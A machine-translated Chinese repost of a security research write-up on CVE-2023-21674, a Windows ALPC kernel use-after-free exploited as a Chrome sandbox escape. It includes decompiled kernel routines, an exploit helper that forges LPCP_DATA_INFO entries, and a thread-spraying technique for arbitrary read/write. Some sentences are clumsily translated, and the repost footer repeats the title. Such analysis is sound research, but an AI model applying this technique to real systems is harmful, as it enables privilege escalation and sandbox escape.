__int64 __fastcall NtAlpcOpenSenderProcess(        PHANDLE ProcessHandle,        void *a2,        PPORT_MESSAGE a3,        __int64 a4,        ACCESS_MASK acess_mask,        __int128 *a6){  ...  v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);  if ( v14 < 0 )  { /* ERROR */ }  else  {    ...    waiting_thread = alpc_message->WaitingThread;    if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )    {      process = (_EPROCESS *)waiting_thread->Tcb.Process;      ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference      AlpcpUnlockMessage((ULONG_PTR)alpc_message);      v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);      ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference   ...}
// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5){  ...  // Check Port == Server, Message Owner == Client  // 2 ==> Server, 4 ==> Client  owner_port = alpc_message->OwnerPort;  if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )    return 0xC0000022i64;  ...  // Reference WaitingThread  waiting_thread = alpc_message->WaitingThread;  if ( !waiting_thread )    return 0xC0000022i64;  // Do Something with WaitingThread  result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);}

但是,它们 NtAlpcOpenSenderProcess 都不是很好的利用对象, NtAlpcOpenSenderThread 因为两者都只是引用和取消引用悬空指针指向的内存区域。此外,还需要一个服务器和客户端连接, AlpcpGetEffectiveTokenMessage 由于其不受信任的完整性,该连接在Chrome渲染器进程中不可用。

因此,我们专注于 LpcpCopyRequestData 功能,如下所示。

// Called by NtWriteRequestData and NtReadRequestDataNTSTATUS __fastcall LpcpCopyRequestData(        char is_read,        HANDLE hPort,        PORT_MESSAGE *a3,        __int64 dataidx,        char *Address,        SIZE_T Length,        __int64 *a7){  ...  result = AlpcpLookupMessage(alpc_port, a2a.MessageId, a2a.CallbackId, dataidx, &alpc_message);  if ( result < 0 ) { /* ERROR */ }   waiting_thread = alpc_message->WaitingThread;  if ( waiting_thread )  {    result = 0xC000000D;    v17 = alpc_message;    datainfooffset = alpc_message->PortMessage.u2.s2.DataInfoOffset;    // if the datainfoOffset is set    if ( (_WORD)datainfooffset )    {      /**        Validating the length        .. Omitted ..      **/      // check datainfo->NumberOfEntries > dataindex      datainfo = (PLPCP_DATA_INFO)((char*)alpc_message + datainfooffset);      if ( datainfo->NumberOfEntries > (unsigned int)dataidx )      {        // [11]. datainfo will be retreived from meeesage        *(_OWORD *)datainfo = *(_OWORD *)&datainfo->Entries[dataidx];        result = datainfo->DataLength < Length ? 0xC000000D : 0;      }    }    if ( result >= 0 )    {      CurrentThread = KeGetCurrentThread();      // [12]. from and to address can be controlled from waiting_thread.      if ( is_read )      {        fromproc = (_EPROCESS *)CurrentThread->ApcState.Process;        toaddr = datainfo[0];        toproc = (_EPROCESS *)waiting_thread->Tcb.Process;        fromaddr = Address;      }      else      {        toproc = (_EPROCESS *)CurrentThread->ApcState.Process;        toaddr = Address;        fromaddr = datainfo[0];        fromproc = (_EPROCESS *)waiting_thread->Tcb.Process;      }      // [13]. Copy data `fromaddr` in `fromproc` to `toaddr` of `toproc`      v15 = MmCopyVirtualMemory(fromproc, fromaddr, toproc, toaddr, Length, prev_mode, (__int64)&retsize);  ...}

如果 DataInfoOffset 设置了 ALPC 消息,则从消息 ( [11] ) 中检索由 LPCP_DATA_INFO structure 表示的数据信息对象。

typedef struct _LPCP_DATA_INFO{    ULONG NumberOfEntries;    struct    {        PVOID BaseAddress;        ULONG DataLength;    } Entries[1];} LPCP_DATA_INFO, *PLPCP_DATA_INFO;

我们可以轻松地在消息中设置一个 LPCP_DATA_INFO 结构,如下所示。

void SetupDataInfo(ULONG_PTR addr) {  ...  RtlSecureZeroMemory(&pmSend, sizeof(pmSend));  pmSend.u1.s1.DataLength = MSG_LEN;  pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);  pmSend.MessageId = messageid;  pmSend.CallbackId = callbackid;  pmSend.u2.s2.DataInfoOffset = 0x30;  lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr);   PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);   datainfo->NumberOfEntries = NumOfEntries; // CNT  for (int i = 0; i < NumOfEntries; i++) {    datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address    datainfo->Entries[i].DataLength = (ULONG)0x1000;    // Size  }   pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;  pwfdw->AlpcSendMessagePort = hPort;  pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST  pwfdw->Flags = 0x1;   ULONG outlen = 0;   NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);}

最后,结构中的 LPCP_DATA_INFO 地址通过 MmCopyVirtualMemory ( [13] ) 进行读/写。由于目标进程地址是从中获取的, waiting_thread 因此我们可以将其设置为任意值。

但是,在没有其他信息泄露漏洞的情况下构建虚假 _EPROCESS 结构并不容易。因此,与其使用假 _EPROCESS 的,不如使用高特权进程的线程。如果将高权限进程的线程分配到悬空指针指向的同一内存区域中,我们可以在进程中实现任意读/写基元。

为了喷洒高特权进程的线程,我们使用了 showOpenFilePicker();调用 API 时,Chrome 会以中等完整性创建一个新进程。此外,文件选取器进程在创建时会生成许多线程,这使得它适合被利用。

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

通过在文件选取器进程上使用任意读/写基元,我们最终可以在中等完整性下执行任意代码。

结论

这篇文章提供了对 CVE-2023–21674 的分析,该分析在我们为期 N-day的全链演示中被利用。下一篇文章将介绍 Windows LPE,CVE-2023–29360,它在 Pwn2Own Vancouver 2023 中被利用。

参考

  • https://github.com/hd3s5aa/CVE-2023-21674

  • https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html

  • https://recon.cx/2008/a/thomas_garnier/LPC-ALPC-paper.pdf

  • https://github.com/DownWithUp/ALPC-Example

  • https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-21674


Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape)https://blog.theori.io/chaining-n-days-to-compromise-all-part-2-windows-kernel-lpe-a-k-a-chrome-sandbox-escape-44cb49d7a4f8



感谢您抽出

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

.

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

.

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

来阅读本文

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

相关文章